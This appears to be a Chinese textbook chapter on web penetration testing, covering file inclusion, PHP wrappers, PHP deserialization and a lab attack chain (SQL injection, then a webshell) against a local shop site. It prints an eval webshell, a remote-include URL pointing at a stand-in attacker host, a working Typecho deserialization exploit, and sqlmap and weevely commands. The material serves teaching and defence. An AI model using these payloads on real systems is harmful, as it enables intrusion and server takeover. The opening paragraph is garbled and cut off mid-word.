第十二章 WEB渗透实战进阶
如果被包含文件的文件名是从用户处获得的,且没有经过恰当的检测从而包含了预想之外的文件,导致了文件泄露甚至是恶意代码注入,这就是文件包含漏洞。如果存在文件包含漏洞,且允许被包含的文件可以通过url获取,则称为远程文件包含漏洞。漏洞利用链SQL注入 → 获取管理员凭证 → 后台登录 → 文件上传 → Webshell → 服务器控制工具使用sqlmap:自动化SQL注入nikto:网站目录扫描weev
12.1 文件包含漏洞
12.1.1 文件包含
1. 文件包含使用场景
-
配置文件。用于整个web应用的配置信息,如数据库的用户名及密码,使用的数据 库名,系统默认的文字编码,是否开启Debug模式等信息。
-
重复使用的函数。如连接数据库,过滤用户的输入中的危险字符等。(需要过滤)
-
重复使用的版块。如页面的页头、页脚以及菜单文件。通过文件包含对这些文件进 行引入,在某个地方需要修改时,开发人员只需要对单个文件进行更新即可,而不 需要修改使用这些板块的其他文件。
-
具有相同框架的不同功能。开发人员可以在不同的页面引入页头、页脚,也可以在 定义好页头、页脚的框架中引入不同的功能。
12.1.2 本地文件包含漏洞
1. 文件包含漏洞定义
-
如果被包含文件的文件名是从用户处获得的,且没有经过恰当的检测
-
从而包含了预想之外的文件,导致了文件泄露甚至是恶意代码注入,这就是文件包含漏洞。
2. 使用场景
-
包含上传的合法文件
-
通常应用中都会有文件上传的功能,比如用户头像上传、附件上传等。
-
通过文件上传, 攻击者将能携带有恶意代码的合法文件上传到服务器中,
-
结合文件包含漏洞,可 以将上传的恶意文件引入,使其中的恶意代码得到执行。
-
-
包含日志文件
-
Web 服务器往往会将用户的请求记录在一个日志文件中,以供系统管理员审查。在Ubuntu 系统下,apache 默认的日志文件为/var/log/apache2/access.log。
-
日志文件会记录用户的 ip 地址、访问的url、访问时间等信息。 利用这个功能,攻击者可以先构造一条包含恶意代码的请求,如 http://.../index.php?a=,这一条请求会被 web 服务 器写入日志文件中,再利用本地文件包含漏洞,如 http://.../index.php?func=..../../log/apache2/access.log,将日志文件引入,使得植入的恶意代码得到执行。
-
12.1.3 远程文件包含漏洞
1. 远程文件包含漏洞定义
-
如果存在文件包含漏洞,且允许被包含的文件可以通过url获取,则称为远程文件包含漏洞。
2. PHP中的设置
-
allow_url_fopen:设置是否允许 PHP 通过 url 打开文件,默认为 On
-
allow_url_include:设置是否允许通过 url 打开的文件用于 include 等函数,默认为 Off
-
allow_url_fopen 是 allow_url_include 开启的前提条件,只有 allow_url_fopen 与 allow_url_include 同时设置为On 时,才可能存在远程文件包含漏洞。出于安全考虑,这两 个变量的值只能在配置文件php.ini中更改。
3. 远程文件包含漏洞的利用
-
包含攻击者服务器上的恶意文件
-
两个设置都是ON
-
构造恶意请求:http://www.victim.com/index.php?func=http://www.hacker.com/shell.txt ,shell.txt中的恶意代码就会在目标服务器上执行
-
-
通过PHP伪协议进行包含
-
两个设置同时开启
-
include 等函数支持从PHP伪协议中的php://input处获取输入流,
-
php://input可以访问请求的原始数据的只读流,也就是通过POST方式发送的内容。借助PHP伪协议,攻击者直接将想要在服务器上 执行的恶意代码通过POST的方式发送给服务器就能完成攻击。
-
例如,在下面这个http数据包中,就是php://input 所获取到的内容
-

12.1.4 PHP伪协议
PHP 带有很多内置 URL 风格的封装协议,允许以统一的方式访问各种资源
可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能注册自定义的封装协议。常见的协议有:
-
file:// — 访问本地文件系统
-
http:// — 访问 HTTP(s) 网址
-
ftp:// — 访问 FTP(s) URLs
-
php:// — 访问各个输入/输出流(I/O streams)
-
zlib:// — 压缩流
-
data:// — 数据(RFC 2397)
-
glob:// — 查找匹配的文件路径模式
-
phar:// — PHP 归档
-
ssh2:// — Secure Shell 2
-
rar:// — RAR
-
ogg:// — 音频流
-
expect:// — 处理交互式的流
1. 常见php的协议内容
-
php://filter
-
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。
-
php://filter 可以读取本地文件的内容,还可以对读取的内容进行编码处理。
-
被include等函数包含的文件会被当作PHP文件一样进行处理,如果被包含的文件中有PHP代码,那么PHP代码将会执行,文件中PHP代码以外的内容,会直接返回给客户端。
-
利用这个特性,攻击者可以获取到 web 页面的源代码。为后续的渗透工作提供帮助。下面的例子中,攻击者对index.php内容 进行了base64编码,将获取到的字符串在本地进行base64解码后就能得到index.php的内容。

-
-
pahr://与 zip://
-
phar://与 zip://可以获取压缩文件内的内容,如在 hack.zip 的压缩包中,有一个 shell.php 的文件,则可以通过 phar://hack.zip/shell.php 的方式访问压缩包内的文件
-
zip://也是类似。这两个协议不受文件后缀名的影响,将hack.zip改名为hack.jpg后,依 然可以通过这种方式访问压缩包内的文件。
-
文件包含的限制:只允许包含以.php后缀结尾的 文件,而文件上传功能只允许上传.jpg等后缀结尾的图片文件。
文件包含限制的绕过
/*index.php*/ <?php $file=$_GET[‘func’]; include $file.”.php”;
-
先构造内容为
<?php eval($_POST[‘pass’]);?>的shell.php, -
将 shell.php 以 zip 的格式压缩并改名为 hack.jpg,上传到服务器中后,
-
再构造 payload: http://www.xxx.com/index.php?func=phar://hack.jpg/shell,就能使 shell.php 中的恶意 代码得到执行。
常用payload:http://www.xxx.com/index.php?func=zip://hack.jpg%23shell.php zip 协议的用法为zip://hack.jpg#shell.php,由于#在 http 协议中有特殊的含义,所以在发送请求时要对其进行url编码 http://www.xxx.com/index.php?func=phar://hack.jpg/shell.php
实验一:在DVWA测试环境中完成文件包含漏洞的攻击。
12.2 反序列化漏洞
12.2.1 序列化与反序列化
1. 序列化
-
序列化是指将对象、数组等数据结构转化为可以储存的格式的过程。
-
程序在运行时,变量的值都是储存在内容中的
-
程序运行结束,操作系统就会将内存空间收回,要想要将内存中的变量写入磁盘中或是通过网络传输,就需要对其进行序列化操作,序列化能将一个对象 转换成一个字符串。
-
在PHP中,序列化后的字符串保存了对象所有的变量,但是不会保存对 象的方法,只会保存类的名字。Java、python和php等编程语言都有各自的序列化的机制。
示例:
/*serialize.php*/
<?php
class example{
private $message='hello world';
public function set_message($message){
$this->message=$message;
}
public function show_message(){
echo $this->message;
}
}
$object = new example();
$serialized = serialize($object);
file_put_contents('serialize.txt', $serialized);
echo $serialized;
?>
-
上述代码会创建一个example类的对象,并将其序列化后保存到serialize.txt中并打 印到屏幕上。上述代码运行的结果为:
-
$serialized = serialize($object);
O:7:"example":1:{s:16:" example message";s:11:"hello world";}
-
0代表储存的是对象(object),
-
7代表类名有7个字符,example代表类名,
-
1代表对象 中变量个数,
-
s表示字符串,16,代表长度,
-
example message是类名及变量名。
2. 反序列化
定义:将序列化后的字符串恢复为数据结构的过程就叫做反序列化
-
为了能够反序列化一个对 象,这个对象的类在执行反序列化的操作前必须已经定义过。
/*unserialize.php*/
<?php
class example{
private $message='hello world';
public function set_message($message){
$this->message=$message;
}
public function show_message(){
echo $this->message;
}
}
$serialized = file_get_contents("serialize.txt");
$object = unserialize($serialized);
$object->set_message('unserialized success');
$object->show_message();
?>
$object = unserialize($serialized);
上述代码执行完后会在屏幕上打印“unserialized success”。
12.2.2 PHP魔术方法
定义:PHP有一类特殊的方法,它们以__(两个下划线)开头,在特定的条件下会被调用,例如类的构造方法__construct(),它在实例化类的时候会被调用。下面是PHP中常见的一些魔术 方法。
__construct(),类的构造函数,创建新的对象时会被调用 __destruct(),类的析构函数,当对象被销毁时会被调用 __call(),在对象中调用一个不可访问方法时会被调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),读取一个不可访问属性的值时会被调用 __set(),给不可访问的属性赋值时会被调用 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用。 __sleep(),执行serialize()时,先会调用这个函数 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时的回应方法 __invoke(),调用函数的方式调用一个对象时的回应方法 __set_state(),调用var_export()导出类时,此静态方法会被调用。 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息
下面是一个使用PHP魔术方法的类的示例,在反序列化时,类中的__wakeup()方法会被 调用,并输出“Hello World”
<?php
class magic{
function __wakeup(){
echo 'Hello World';
}
}
$object = new magic();
$serialized = serialize($object);
unserialize($serialized);
?>
12.2.3 PHP 反序列化漏洞
-
PHP反序列化漏洞又叫PHP对象注入漏洞。
-
在一个应用中,如果传给unserialize()的参 数是用户可控的,那么攻击者就可以通过传入一个精心构造的序列化字符串,利用PHP魔术方法来控制对象内部的变量甚至是函数。
-
对这一类漏洞的利用,往往需要分析web应用的源代码。
课本上的示例代码,接下来将逐步解析
-
触发点 - Typecho_Db构造
攻击者可以控制$config['adapter']的值,这个值会被传入Typecho_Db构造函数:
class Typecho_Db {
public function __construct($adapterName) {
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
-
字符串操作触发__toString()
当PHP尝试将对象当作字符串使用时(如这里的字符串拼接),会调用该对象的__toString()方法。我们可以构造一个Typecho_Feed对象作为$adapterName:
class Typecho_Feed {
private $item;
public function __toString() {
$this->item['author']->screenName;
}
}
-
访问不存在属性触发__get()
在__toString()中,访问$this->item['author']->screenName时,如果author对象没有screenName属性,会触发该对象的__get()方法:
class Typecho_Request {
public function __get($key) {
return $this->get($key);
}
public function get($key, $default = NULL) {
// ... 获取值逻辑 ...
return $this->_applyFilter($value);
}
private function _applyFilter($value) {
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
}
-
最终命令执行
关键在于_applyFilter()方法中的call_user_func(),如果攻击者能控制$filter和$value,就能执行任意PHP函数:
call_user_func($filter, $value); // 可执行任意函数
完整利用链构造
-
构造一个
Typecho_Request对象,设置_filter和_params为攻击者控制的函数和参数 -
将这个对象作为
author放入Typecho_Feed的$item中 -
将
Typecho_Feed对象作为adapter参数传递给Typecho_Db -
序列化这个结构并base64编码,通过
__typecho_config参数传递
利用代码
/*exp.php*/
<?php
class Typecho_Feed
{
private $item;
public function __construct(){
$this->item = array(
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed()
);
echo base64_encode(serialize($exp));
?>
实验二:复现11.2.3中的反序列化漏洞,并执行其他的系统命令
12.3 整站攻击案例
1. 环境搭建与初步侦查
-
下载并部署shopstore源码到本地web目录
-
配置数据库连接信息(db_fns.php)
-
导入数据库(bootstore.sql)
-
浏览网站功能,了解基本架构
-
发现分类浏览功能(catid参数)
-
2. SQL注入攻击
-
发现
catid参数存在SQL注入漏洞(使用永真永假法确认)-
catid=1' and '1'='1返回正常 -
catid=1' and '1'='2返回为空
-
-
使用sqlmap工具自动化注入:
-
获取当前数据库:
book_sc -
枚举表名:发现敏感表
admin -
导出admin表数据:获取管理员哈希密码
d033e22ae348aeb5660fc2140aec35850c4da997
-
-
通过cmd5.com破解哈希得到明文密码:
admin
3. 后台发现与登录
-
使用nikto扫描发现后台地址:
/admin.php -
使用获取的凭据(admin/admin)成功登录后台
4. 文件上传漏洞利用
-
发现后台"Add a new book"功能中的文件上传点
-
使用weevely生成PHP webshell:
weevely generate pass /tmp/shell.php
-
上传webshell(shell.php)伪装成书籍图片
-
通过查看网页源码确认上传路径为
images/目录
5. Webshell连接与服务器控制
-
访问上传的webshell:
http://localhost:8888/shopcar/images/shell.php -
使用weevely连接获取服务器访问权限:
weevely http://localhost:8888/shopcar/images/shell.php pass
-
获得www-data用户权限(需进一步提权获取root)
技术要点总结
-
漏洞利用链:
-
SQL注入 → 获取管理员凭证 → 后台登录 → 文件上传 → Webshell → 服务器控制
-
-
工具使用:
-
sqlmap:自动化SQL注入
-
nikto:网站目录扫描
-
weevely:生成和管理PHP webshell
-
-
防御建议:
-
对用户输入进行严格过滤和参数化查询
-
使用强哈希算法(如bcrypt)存储密码
-
限制后台访问IP
-
文件上传进行严格的内容检查和重命名
-
最小权限原则运行Web服务
-
更多推荐
所有评论(0)